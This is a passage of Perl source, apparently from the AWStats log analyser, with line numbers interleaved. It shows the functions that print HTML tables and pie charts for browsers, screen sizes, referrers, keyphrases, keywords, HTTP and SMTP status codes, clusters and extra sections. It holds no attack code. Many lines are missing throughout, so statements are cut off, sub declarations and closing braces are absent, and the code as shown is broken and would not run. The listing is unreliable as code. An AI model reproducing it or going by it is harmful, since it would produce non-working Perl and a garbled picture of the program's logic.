my $libbrowser = $BrowsersHashIDLib{$keywithoutcumul}
15433
|| $keywithoutcumul;
15434
my $nameicon = $BrowsersHashIcon{$keywithoutcumul}
15436
if ( $BrowsersFamily{$keywithoutcumul} ) {
15437
$libbrowser = "$libbrowser";
15439
push @blocklabel, "$libbrowser";
15442
if ($cnt > 4) { last; }
15444
print "<tr><td colspan=\"5\">";
15445
my $function = "ShowGraph_$pluginname";
15447
"Top 5 Browsers", "browsers",
15453
print "</td></tr>";
15457
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"$WIDTHCOLICON\"> </th><th>$Message[21]</th><th width=\"80\">$Message[111]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th></tr>\n";
15460
foreach my $key (@keylist) {
15463
$p = int( $new_browser_h{$key} / $Totalh * 1000 ) / 10;
15466
if ( $key eq 'Unknown' ) {
15468
. ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
15469
. "><img src=\"$DirIcons\/browser\/unknown.png\""
15471
. " /></td><td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td><td width=\"80\">?</td><td>".Format_Number($_browser_h{$key})."</td><td>$p</td></tr>\n";
15474
my $keywithoutcumul = $key;
15475
$keywithoutcumul =~ s/cumul$//i;
15476
my $libbrowser = $BrowsersHashIDLib{$keywithoutcumul}
15477
|| $keywithoutcumul;
15478
my $nameicon = $BrowsersHashIcon{$keywithoutcumul}
15480
if ( $BrowsersFamily{$keywithoutcumul} ) {
15481
$libbrowser = "<b>$libbrowser</b>";
15484
. ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
15485
. "><img src=\"$DirIcons\/browser\/$nameicon.png\""
15487
. " /></td><td class=\"aws\">"
15488
. ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" )
15490
. ( $PageDir eq 'rtl' ? "</span>" : "" )
15493
$BrowsersHereAreGrabbers{$key}
15494
? "<b>$Message[112]</b>"
15497
. "</td><td>".Format_Number($new_browser_h{$key})."</td><td>$p</td></tr>\n";
15499
$total_h += $new_browser_h{$key};
15503
debug( "Total real / shown : $Totalh / $total_h", 2 );
15505
my $rest_h = $Totalh - $total_h;
15506
if ( $rest_h > 0 ) {
15508
if ($Totalh) { $p = int( $rest_h / $Totalh * 1000 ) / 10; }
15510
print "<td> </td>";
15512
"<td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td><td> </td><td>$rest_h</td>";
15513
print "<td>$p %</td></tr>\n";
15518
#------------------------------------------------------------------------------
15519
# Function: Prints the ScreenSize chart and table
15524
#------------------------------------------------------------------------------
15525
sub HTMLMainScreenSize{
15526
if ($Debug) { debug( "ShowScreenSizeStats", 2 ); }
15527
print "$Center<a name=\"screensizes\"> </a><br />\n";
15529
foreach ( keys %_screensize_h ) { $Totalh += $_screensize_h{$_}; }
15531
"$Message[135] ($Message[77] $MaxNbOf{'ScreenSizesShown'})";
15532
&tab_head( "$title", 0, 0, 'screensizes' );
15534
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[135]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th></tr>\n";
15537
&BuildKeyList( $MaxNbOf{'ScreenSizesShown'},
15538
$MinHit{'ScreenSize'}, \%_screensize_h, \%_screensize_h );
15540
foreach my $key (@keylist) {
15543
$p = int( $_screensize_h{$key} / $Totalh * 1000 ) / 10;
15546
$total_h += $_screensize_h{$key} || 0;
15548
if ( $key eq 'Unknown' ) {
15550
"<td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td>";
15551
print "<td>$p</td>";
15554
my $screensize = $key;
15555
print "<td class=\"aws\">$screensize</td>";
15556
print "<td>$p</td>";
15561
my $rest_h = $Totalh - $total_h;
15562
if ( $rest_h > 0 ) { # All others sessions
15564
if ($Totalh) { $p = int( $rest_h / $Totalh * 1000 ) / 10; }
15566
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
15567
print "<td>" . ( $rest_h ? "$p %" : " " ) . "</td>";
15573
#------------------------------------------------------------------------------
15574
# Function: Prints the Referrers chart and table
15575
# Parameters: $NewLinkParams, $NewLinkTarget
15579
#------------------------------------------------------------------------------
15580
sub HTMLMainReferrers{
15581
my $NewLinkParams = shift;
15582
my $NewLinkTarget = shift;
15584
if ($Debug) { debug( "ShowOriginStats", 2 ); }
15585
print "$Center<a name=\"referer\"> </a><br />\n";
15587
foreach ( 0 .. 5 ) {
15589
( $_ != 4 || $IncludeInternalLinksInOriginSection )
15594
foreach ( 0 .. 5 ) {
15596
( $_ != 4 || $IncludeInternalLinksInOriginSection )
15600
&tab_head( $Message[36], 19, 0, 'referer' );
15601
my @p_p = ( 0, 0, 0, 0, 0, 0 );
15602
if ( $Totalp > 0 ) {
15603
$p_p[0] = int( $_from_p[0] / $Totalp * 1000 ) / 10;
15604
$p_p[1] = int( $_from_p[1] / $Totalp * 1000 ) / 10;
15605
$p_p[2] = int( $_from_p[2] / $Totalp * 1000 ) / 10;
15606
$p_p[3] = int( $_from_p[3] / $Totalp * 1000 ) / 10;
15607
$p_p[4] = int( $_from_p[4] / $Totalp * 1000 ) / 10;
15608
$p_p[5] = int( $_from_p[5] / $Totalp * 1000 ) / 10;
15610
my @p_h = ( 0, 0, 0, 0, 0, 0 );
15611
if ( $Totalh > 0 ) {
15612
$p_h[0] = int( $_from_h[0] / $Totalh * 1000 ) / 10;
15613
$p_h[1] = int( $_from_h[1] / $Totalh * 1000 ) / 10;
15614
$p_h[2] = int( $_from_h[2] / $Totalh * 1000 ) / 10;
15615
$p_h[3] = int( $_from_h[3] / $Totalh * 1000 ) / 10;
15616
$p_h[4] = int( $_from_h[4] / $Totalh * 1000 ) / 10;
15617
$p_h[5] = int( $_from_h[5] / $Totalh * 1000 ) / 10;
15620
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[37]</th>";
15621
if ( $ShowOriginStats =~ /P/i ) {
15623
"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>";
15625
if ( $ShowOriginStats =~ /H/i ) {
15627
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>";
15631
#------- Referrals by direct address/bookmark/link in email/etc...
15632
print "<tr><td class=\"aws\"><b>$Message[38]</b></td>";
15633
if ( $ShowOriginStats =~ /P/i ) {
15635
. ( $_from_p[0] ? Format_Number($_from_p[0]) : " " )
15637
. ( $_from_p[0] ? "$p_p[0] %" : " " ) . "</td>";
15639
if ( $ShowOriginStats =~ /H/i ) {
15641
. ( $_from_h[0] ? Format_Number($_from_h[0]) : " " )
15643
. ( $_from_h[0] ? "$p_h[0] %" : " " ) . "</td>";
15647
#------- Referrals by search engines
15650
. "><td class=\"aws\"><b>$Message[40]</b> - <a href=\""
15652
$ENV{'GATEWAY_INTERFACE'}
15654
? XMLEncode("$AWScript${NewLinkParams}output=refererse")
15655
: "$StaticLinks.refererse.$StaticExt"
15657
. "\"$NewLinkTarget>$Message[80]</a><br />\n";
15658
if ( scalar keys %_se_referrals_h ) {
15664
$MaxNbOf{'RefererShown'},
15668
( scalar keys %_se_referrals_p )
15669
? \%_se_referrals_p
15670
: \%_se_referrals_h
15673
foreach my $key (@keylist) {
15674
my $newreferer = $SearchEnginesHashLib{$key}
15676
print "<tr><td class=\"aws\">- $newreferer</td>";
15679
Format_Number($_se_referrals_p{$key} ? $_se_referrals_p{$key} : '0' ))
15681
print "<td> / ".Format_Number($_se_referrals_h{$key})."</td>";
15683
$total_p += $_se_referrals_p{$key};
15684
$total_h += $_se_referrals_h{$key};
15689
"Total real / shown : $TotalSearchEnginesPages / $total_p - $TotalSearchEnginesHits / $total_h",
15693
my $rest_p = $TotalSearchEnginesPages - $total_p;
15694
my $rest_h = $TotalSearchEnginesHits - $total_h;
15695
if ( $rest_p > 0 || $rest_h > 0 ) {
15697
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">- $Message[2]</span></td>";
15698
print "<td>".Format_Number($rest_p)."</td>";
15699
print "<td> / ".Format_Number($rest_h)."</td>";
15705
if ( $ShowOriginStats =~ /P/i ) {
15706
print "<td valign=\"top\">"
15707
. ( $_from_p[2] ? Format_Number($_from_p[2]) : " " )
15708
. "</td><td valign=\"top\">"
15709
. ( $_from_p[2] ? "$p_p[2] %" : " " ) . "</td>";
15711
if ( $ShowOriginStats =~ /H/i ) {
15712
print "<td valign=\"top\">"
15713
. ( $_from_h[2] ? Format_Number($_from_h[2]) : " " )
15714
. "</td><td valign=\"top\">"
15715
. ( $_from_h[2] ? "$p_h[2] %" : " " ) . "</td>";
15719
#------- Referrals by external HTML link
15722
. "><td class=\"aws\"><b>$Message[41]</b> - <a href=\""
15724
$ENV{'GATEWAY_INTERFACE'}
15726
? XMLEncode("$AWScript${NewLinkParams}output=refererpages")
15727
: "$StaticLinks.refererpages.$StaticExt"
15729
. "\"$NewLinkTarget>$Message[80]</a><br />\n";
15730
if ( scalar keys %_pagesrefs_h ) {
15736
$MaxNbOf{'RefererShown'},
15740
( scalar keys %_pagesrefs_p )
15745
foreach my $key (@keylist) {
15746
print "<tr><td class=\"aws\">- ";
15747
&HTMLShowURLInfo($key);
15750
. Format_Number(( $_pagesrefs_p{$key} ? $_pagesrefs_p{$key} : '0' ))
15752
print "<td>".Format_Number($_pagesrefs_h{$key})."</td>";
15754
$total_p += $_pagesrefs_p{$key};
15755
$total_h += $_pagesrefs_h{$key};
15760
"Total real / shown : $TotalRefererPages / $total_p - $TotalRefererHits / $total_h",
15764
my $rest_p = $TotalRefererPages - $total_p;
15765
my $rest_h = $TotalRefererHits - $total_h;
15766
if ( $rest_p > 0 || $rest_h > 0 ) {
15768
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">- $Message[2]</span></td>";
15769
print "<td>".Format_Number($rest_p)."</td>";
15770
print "<td>".Format_Number($rest_h)."</td>";
15776
if ( $ShowOriginStats =~ /P/i ) {
15777
print "<td valign=\"top\">"
15778
. ( $_from_p[3] ? Format_Number($_from_p[3]) : " " )
15779
. "</td><td valign=\"top\">"
15780
. ( $_from_p[3] ? "$p_p[3] %" : " " ) . "</td>";
15782
if ( $ShowOriginStats =~ /H/i ) {
15783
print "<td valign=\"top\">"
15784
. ( $_from_h[3] ? Format_Number($_from_h[3]) : " " )
15785
. "</td><td valign=\"top\">"
15786
. ( $_from_h[3] ? "$p_h[3] %" : " " ) . "</td>";
15790
#------- Referrals by internal HTML link
15791
if ($IncludeInternalLinksInOriginSection) {
15792
print "<tr><td class=\"aws\"><b>$Message[42]</b></td>";
15793
if ( $ShowOriginStats =~ /P/i ) {
15795
. ( $_from_p[4] ? Format_Number($_from_p[4]) : " " )
15797
. ( $_from_p[4] ? "$p_p[4] %" : " " ) . "</td>";
15799
if ( $ShowOriginStats =~ /H/i ) {
15801
. ( $_from_h[4] ? Format_Number($_from_h[4]) : " " )
15803
. ( $_from_h[4] ? "$p_h[4] %" : " " ) . "</td>";
15808
#------- Referrals by news group
15809
#print "<tr><td class=\"aws\"><b>$Message[107]</b></td>";
15810
#if ($ShowOriginStats =~ /P/i) { print "<td>".($_from_p[5]?$_from_p[5]:" ")."</td><td>".($_from_p[5]?"$p_p[5] %":" ")."</td>"; }
15811
#if ($ShowOriginStats =~ /H/i) { print "<td>".($_from_h[5]?$_from_h[5]:" ")."</td><td>".($_from_h[5]?"$p_h[5] %":" ")."</td>"; }
15814
#------- Unknown origin
15815
print "<tr><td class=\"aws\"><b>$Message[39]</b></td>";
15816
if ( $ShowOriginStats =~ /P/i ) {
15818
. ( $_from_p[1] ? Format_Number($_from_p[1]) : " " )
15820
. ( $_from_p[1] ? "$p_p[1] %" : " " ) . "</td>";
15822
if ( $ShowOriginStats =~ /H/i ) {
15824
. ( $_from_h[1] ? Format_Number($_from_h[1]) : " " )
15826
. ( $_from_h[1] ? "$p_h[1] %" : " " ) . "</td>";
15836
# 5: Newsgroup (deprecated)
15839
#------------------------------------------------------------------------------
15840
# Function: Prints the Key Phrases and Keywords chart and table
15841
# Parameters: $NewLinkParams, $NewLinkTarget
15845
#------------------------------------------------------------------------------
15847
my $NewLinkParams = shift;
15848
my $NewLinkTarget = shift;
15850
if ($ShowKeyphrasesStats) {
15851
print "$Center<a name=\"keyphrases\"> </a>";
15853
if ($ShowKeywordsStats) {
15854
print "$Center<a name=\"keywords\"> </a>";
15856
if ( $ShowKeyphrasesStats || $ShowKeywordsStats ) { print "<br />\n"; }
15857
if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) {
15859
"<table width=\"100%\" cellpadding=\"0\" cellspacing=\"0\"><tr>";
15861
if ($ShowKeyphrasesStats) {
15864
if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) {
15865
print "<td width=\"50%\" valign=\"top\">\n";
15867
if ($Debug) { debug( "ShowKeyphrasesStats", 2 ); }
15869
"$Message[120] ($Message[77] $MaxNbOf{'KeyphrasesShown'})<br /><a href=\""
15871
$ENV{'GATEWAY_INTERFACE'}
15873
? XMLEncode("$AWScript${NewLinkParams}output=keyphrases")
15874
: "$StaticLinks.keyphrases.$StaticExt"
15876
. "\"$NewLinkTarget>$Message[80]</a>",
15878
( $ShowKeyphrasesStats && $ShowKeywordsStats ) ? 95 : 70,
15881
print "<tr bgcolor=\"#$color_TableBGRowTitle\""
15883
. "><th>$TotalDifferentKeyphrases $Message[103]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[14]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[15]</th></tr>\n";
15886
&BuildKeyList( $MaxNbOf{'KeyphrasesShown'},
15887
$MinHit{'Keyphrase'}, \%_keyphrases, \%_keyphrases );
15888
foreach my $key (@keylist) {
15891
# Convert coded keywords (utf8,...) to be correctly reported in HTML page.
15892
if ( $PluginsLoaded{'DecodeKey'}{'decodeutfkeys'} ) {
15894
DecodeKey_decodeutfkeys(
15895
$key, $PageCode || 'iso-8859-1'
15899
else { $mot = CleanXSS( DecodeEncodedString($key) ); }
15901
if ($TotalKeyphrases) {
15903
int( $_keyphrases{$key} / $TotalKeyphrases * 1000 ) / 10;
15905
print "<tr><td class=\"aws\">"
15907
. "</td><td>$_keyphrases{$key}</td><td>$p %</td></tr>\n";
15908
$total_s += $_keyphrases{$key};
15912
debug( "Total real / shown : $TotalKeyphrases / $total_s", 2 );
15914
my $rest_s = $TotalKeyphrases - $total_s;
15915
if ( $rest_s > 0 ) {
15917
if ($TotalKeyphrases) {
15918
$p = int( $rest_s / $TotalKeyphrases * 1000 ) / 10;
15921
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[124]</span></td><td>$rest_s</td>";
15922
print "<td>$p %</td></tr>\n";
15925
if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) {
15929
if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) {
15930
print "<td> </td>";
15932
if ($ShowKeywordsStats) {
15935
if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) {
15936
print "<td width=\"50%\" valign=\"top\">\n";
15938
if ($Debug) { debug( "ShowKeywordsStats", 2 ); }
15940
"$Message[121] ($Message[77] $MaxNbOf{'KeywordsShown'})<br /><a href=\""
15942
$ENV{'GATEWAY_INTERFACE'}
15944
? XMLEncode("$AWScript${NewLinkParams}output=keywords")
15945
: "$StaticLinks.keywords.$StaticExt"
15947
. "\"$NewLinkTarget>$Message[80]</a>",
15949
( $ShowKeyphrasesStats && $ShowKeywordsStats ) ? 95 : 70,
15952
print "<tr bgcolor=\"#$color_TableBGRowTitle\""
15954
. "><th>$TotalDifferentKeywords $Message[13]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[14]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[15]</th></tr>\n";
15957
&BuildKeyList( $MaxNbOf{'KeywordsShown'},
15958
$MinHit{'Keyword'}, \%_keywords, \%_keywords );
15959
foreach my $key (@keylist) {
15962
# Convert coded keywords (utf8,...) to be correctly reported in HTML page.
15963
if ( $PluginsLoaded{'DecodeKey'}{'decodeutfkeys'} ) {
15965
DecodeKey_decodeutfkeys(
15966
$key, $PageCode || 'iso-8859-1'
15970
else { $mot = CleanXSS( DecodeEncodedString($key) ); }
15972
if ($TotalKeywords) {
15973
$p = int( $_keywords{$key} / $TotalKeywords * 1000 ) / 10;
15975
print "<tr><td class=\"aws\">"
15977
. "</td><td>$_keywords{$key}</td><td>$p %</td></tr>\n";
15978
$total_s += $_keywords{$key};
15982
debug( "Total real / shown : $TotalKeywords / $total_s", 2 );
15984
my $rest_s = $TotalKeywords - $total_s;
15985
if ( $rest_s > 0 ) {
15987
if ($TotalKeywords) {
15988
$p = int( $rest_s / $TotalKeywords * 1000 ) / 10;
15991
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[30]</span></td><td>$rest_s</td>";
15992
print "<td>$p %</td></tr>\n";
15995
if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) {
15999
if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) {
16000
print "</tr></table>\n";
16004
#------------------------------------------------------------------------------
16005
# Function: Prints the miscellaneous table
16010
#------------------------------------------------------------------------------
16012
if ($Debug) { debug( "ShowMiscStats", 2 ); }
16013
print "$Center<a name=\"misc\"> </a><br />\n";
16014
my $title = "$Message[139]";
16015
&tab_head( "$title", 19, 0, 'misc' );
16017
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[139]</th>";
16018
print "<th width=\"100\"> </th>";
16019
print "<th width=\"100\"> </th>";
16022
'AddToFavourites' => $Message[137],
16023
'JavascriptDisabled' => $Message[168],
16024
'JavaEnabled' => $Message[140],
16025
'DirectorSupport' => $Message[141],
16026
'FlashSupport' => $Message[142],
16027
'RealPlayerSupport' => $Message[143],
16028
'QuickTimeSupport' => $Message[144],
16029
'WindowsMediaPlayerSupport' => $Message[145],
16030
'PDFSupport' => $Message[146]
16033
foreach my $key (@MiscListOrder) {
16034
my $mischar = substr( $key, 0, 1 );
16035
if ( $ShowMiscStats !~ /$mischar/i ) { next; }
16038
if ( $MiscListCalc{$key} eq 'v' ) { $total = $TotalVisits; }
16039
if ( $MiscListCalc{$key} eq 'u' ) { $total = $TotalUnique; }
16040
if ( $MiscListCalc{$key} eq 'hm' ) {
16041
$total = $_misc_h{'TotalMisc'} || 0;
16045
int( ( $_misc_h{$key} ? $_misc_h{$key} : 0 ) / $total *
16049
print "<td class=\"aws\">"
16050
. ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" )
16052
. ( $PageDir eq 'rtl' ? "</span>" : "" ) . "</td>";
16053
if ( $MiscListCalc{$key} eq 'v' ) {
16055
. Format_Number(( $_misc_h{$key} || 0 ))
16056
. " / ".Format_Number($total)." $Message[12]</td>";
16058
if ( $MiscListCalc{$key} eq 'u' ) {
16060
. Format_Number(( $_misc_h{$key} || 0 ))
16061
. " / ".Format_Number($total)." $Message[18]</td>";
16063
if ( $MiscListCalc{$key} eq 'hm' ) { print "<td>-</td>"; }
16064
print "<td>" . ( $total ? "$p %" : " " ) . "</td>";
16070
#------------------------------------------------------------------------------
16071
# Function: Prints the Status codes chart and table
16072
# Parameters: $NewLinkParams, $NewLinkTarget
16076
#------------------------------------------------------------------------------
16077
sub HTMLMainHTTPStatus{
16078
my $NewLinkParams = shift;
16079
my $NewLinkTarget = shift;
16081
if ($Debug) { debug( "ShowHTTPErrorsStats", 2 ); }
16082
print "$Center<a name=\"errors\"> </a><br />\n";
16083
my $title = "$Message[32]";
16084
&tab_head( "$title", 19, 0, 'errors' );
16086
&BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_errors_h, \%_errors_h );
16088
# Graph the top five in a pie chart
16089
if (scalar @keylist > 1){
16090
foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } )
16092
my @blocklabel = ();
16094
my @valcolor = ($color_p);
16096
foreach my $key (@keylist) {
16097
push @valdata, int( $_errors_h{$key} / $TotalHitsErrors * 1000 ) / 10;
16098
push @blocklabel, "$key";
16100
if ($cnt > 4) { last; }
16102
print "<tr><td colspan=\"5\">";
16103
my $function = "ShowGraph_$pluginname";
16105
"$title", "httpstatus",
16111
print "</td></tr>";
16116
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[32]*</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th><th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th></tr>\n";
16119
foreach my $key (@keylist) {
16120
my $p = int( $_errors_h{$key} / $TotalHitsErrors * 1000 ) / 10;
16121
print "<tr" . Tooltip( $key, $key ) . ">";
16122
if ( $TrapInfosForHTTPErrorCodes{$key} ) {
16123
print "<td><a href=\""
16125
$ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
16127
"$AWScript${NewLinkParams}output=errors$key")
16128
: "$StaticLinks.errors$key.$StaticExt"
16130
. "\"$NewLinkTarget>$key</a></td>";
16132
else { print "<td valign=\"top\">$key</td>"; }
16133
print "<td class=\"aws\">"
16135
$httpcodelib{$key} ? $httpcodelib{$key} : 'Unknown error' )
16136
. "</td><td>".Format_Number($_errors_h{$key})."</td><td>$p %</td><td>"
16137
. Format_Bytes( $_errors_k{$key} ) . "</td>";
16139
$total_h += $_errors_h{$key};
16142
&tab_end("* $Message[154]");
16145
#------------------------------------------------------------------------------
16146
# Function: Prints the Status codes chart and table
16147
# Parameters: $NewLinkParams, $NewLinkTarget
16151
#------------------------------------------------------------------------------
16152
sub HTMLMainSMTPStatus{
16153
my $NewLinkParams = shift;
16154
my $NewLinkTarget = shift;
16156
if ($Debug) { debug( "ShowSMTPErrorsStats", 2 ); }
16157
print "$Center<a name=\"errors\"> </a><br />\n";
16158
my $title = "$Message[147]";
16159
&tab_head( "$title", 19, 0, 'errors' );
16161
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[147]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th><th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th></tr>\n";
16164
&BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_errors_h, \%_errors_h );
16166
foreach my $key (@keylist) {
16167
my $p = int( $_errors_h{$key} / $TotalHitsErrors * 1000 ) / 10;
16168
print "<tr" . Tooltip( $key, $key ) . ">";
16169
print "<td valign=\"top\">$key</td>";
16170
print "<td class=\"aws\">"
16172
$smtpcodelib{$key} ? $smtpcodelib{$key} : 'Unknown error' )
16173
. "</td><td>".Format_Number($_errors_h{$key})."</td><td>$p %</td><td>"
16174
. Format_Bytes( $_errors_k{$key} ) . "</td>";
16176
$total_h += $_errors_h{$key};
16182
#------------------------------------------------------------------------------
16183
# Function: Prints the cluster information chart and table
16184
# Parameters: $NewLinkParams, $NewLinkTarget
16188
#------------------------------------------------------------------------------
16189
sub HTMLMainCluster{
16190
my $NewLinkParams = shift;
16191
my $NewLinkTarget = shift;
16193
if ($Debug) { debug( "ShowClusterStats", 2 ); }
16194
print "$Center<a name=\"clusters\"> </a><br />\n";
16195
my $title = "$Message[155]";
16196
&tab_head( "$title", 19, 0, 'clusters' );
16198
&BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_cluster_p, \%_cluster_p );
16200
# Graph the top five in a pie chart
16201
if (scalar @keylist > 1){
16202
foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } )
16204
my @blocklabel = ();
16206
my @valcolor = ($color_p);
16208
foreach my $key (@keylist) {
16209
push @valdata, int( $_cluster_p{$key} / $TotalHits * 1000 ) / 10;
16210
push @blocklabel, "$key";
16212
if ($cnt > 4) { last; }
16214
print "<tr><td colspan=\"7\">";
16215
my $function = "ShowGraph_$pluginname";
16217
"$title", "cluster",
16223
print "</td></tr>";
16228
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[155]</th>";
16229
&HTMLShowClusterInfo('__title__');
16230
if ( $ShowClusterStats =~ /P/i ) {
16232
"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>";
16234
if ( $ShowClusterStats =~ /H/i ) {
16236
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>";
16238
if ( $ShowClusterStats =~ /B/i ) {
16240
"<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th><th bgcolor=\"#$color_k\" width=\"80\">$Message[15]</th>";
16243
my $total_p = my $total_h = my $total_k = 0;
16245
# Cluster feature might have been enable in middle of month so we recalculate
16246
# total for cluster section only, to calculate ratio, instead of using global total
16247
foreach my $key (@keylist) {
16248
$total_p += int( $_cluster_p{$key} || 0 );
16249
$total_h += int( $_cluster_h{$key} || 0 );
16250
$total_k += int( $_cluster_k{$key} || 0 );
16253
foreach my $key (@keylist) {
16254
my $p_p = int( $_cluster_p{$key} / $total_p * 1000 ) / 10;
16255
my $p_h = int( $_cluster_h{$key} / $total_h * 1000 ) / 10;
16256
my $p_k = int( $_cluster_k{$key} / $total_k * 1000 ) / 10;
16258
print "<td class=\"aws\">Computer $key</td>";
16259
&HTMLShowClusterInfo($key);
16260
if ( $ShowClusterStats =~ /P/i ) {
16262
. ( $_cluster_p{$key} ? Format_Number($_cluster_p{$key}) : " " )
16263
. "</td><td>$p_p %</td>";
16265
if ( $ShowClusterStats =~ /H/i ) {
16266
print "<td>".Format_Number($_cluster_h{$key})."</td><td>$p_h %</td>";
16268
if ( $ShowClusterStats =~ /B/i ) {
16270
. Format_Bytes( $_cluster_k{$key} )
16271
. "</td><td>$p_k %</td>";
16279
#------------------------------------------------------------------------------
16280
# Function: Prints a chart or table for each extra section
16281
# Parameters: $NewLinkParams, $NewLinkTarget, $extranum
16285
#------------------------------------------------------------------------------
16287
my $NewLinkParams = shift;
16288
my $NewLinkTarget = shift;
16289
my $extranum = shift;
16291
if ($Debug) { debug( "ExtraName$extranum", 2 ); }
16292
print "$Center<a name=\"extra$extranum\"> </a><br />";
16293
my $title = $ExtraName[$extranum];
16294
&tab_head( "$title ($Message[77] $MaxNbOfExtra[$extranum])", 19, 0, "extra$extranum");
16295
print "<tr bgcolor=\"#$color_TableBGRowTitle\">";
16296
print "<th>" . $ExtraFirstColumnTitle[$extranum];
16297
print " - <a href=\""
16299
$ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
16301
"$AWScript${NewLinkParams}output=allextra$extranum")
16302
: "$StaticLinks.allextra$extranum.$StaticExt"
16304
. "\"$NewLinkTarget>$Message[80]</a>";
16307
if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
16309
"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>";
16311
if ( $ExtraStatTypes[$extranum] =~ m/H/i ) {
16313
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
16315
if ( $ExtraStatTypes[$extranum] =~ m/B/i ) {
16317
"<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
16319
if ( $ExtraStatTypes[$extranum] =~ m/L/i ) {
16320
print "<th width=\"120\">$Message[9]</th>";
16323
my $total_p = my $total_h = my $total_k = 0;
16325
#$max_h=1; foreach (values %_login_h) { if ($_ > $max_h) { $max_h = $_; } }
16326
#$max_k=1; foreach (values %_login_k) { if ($_ > $max_k) { $max_k = $_; } }
16328
if ( $MaxNbOfExtra[$extranum] ) {
16329
if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
16331
$MaxNbOfExtra[$extranum],
16332
$MinHitExtra[$extranum],
16333
\%{ '_section_' . $extranum . '_h' },
16334
\%{ '_section_' . $extranum . '_p' }
16339
$MaxNbOfExtra[$extranum],
16340
$MinHitExtra[$extranum],
16341
\%{ '_section_' . $extranum . '_h' },
16342
\%{ '_section_' . $extranum . '_h' }
16349
my %keysinkeylist = ();
16350
foreach my $key (@keylist) {
16351
$keysinkeylist{$key} = 1;
16352
my $firstcol = CleanXSS( DecodeEncodedString($key) );
16353
$total_p += ${ '_section_' . $extranum . '_p' }{$key};
16354
$total_h += ${ '_section_' . $extranum . '_h' }{$key};
16355
$total_k += ${ '_section_' . $extranum . '_k' }{$key};
16358
"<td class=\"aws\">$ExtraFirstColumnFormat[$extranum]</td>",
16359
$firstcol, $firstcol, $firstcol, $firstcol, $firstcol );
16360
if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
16362
. ${ '_section_' . $extranum . '_p' }{$key} . "</td>";
16364
if ( $ExtraStatTypes[$extranum] =~ m/H/i ) {
16366
. ${ '_section_' . $extranum . '_h' }{$key} . "</td>";
16368
if ( $ExtraStatTypes[$extranum] =~ m/B/i ) {
16371
${ '_section_' . $extranum . '_k' }{$key} )
16374
if ( $ExtraStatTypes[$extranum] =~ m/L/i ) {
16377
${ '_section_' . $extranum . '_l' }{$key}
16379
${ '_section_' . $extranum . '_l' }{$key}, 1 )
16388
# If we ask average or sum, we loop on all other records
16389
if ( $ExtraAddAverageRow[$extranum] || $ExtraAddSumRow[$extranum] )
16391
foreach ( keys %{ '_section_' . $extranum . '_h' } ) {
16392
if ( $keysinkeylist{$_} ) { next; }
16393
$total_p += ${ '_section_' . $extranum . '_p' }{$_};
16394
$total_h += ${ '_section_' . $extranum . '_h' }{$_};
16395
$total_k += ${ '_section_' . $extranum . '_k' }{$_};
16401
if ( $ExtraAddAverageRow[$extranum] ) {
16403
print "<td class=\"aws\"><b>$Message[96]</b></td>";
16404
if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
16406
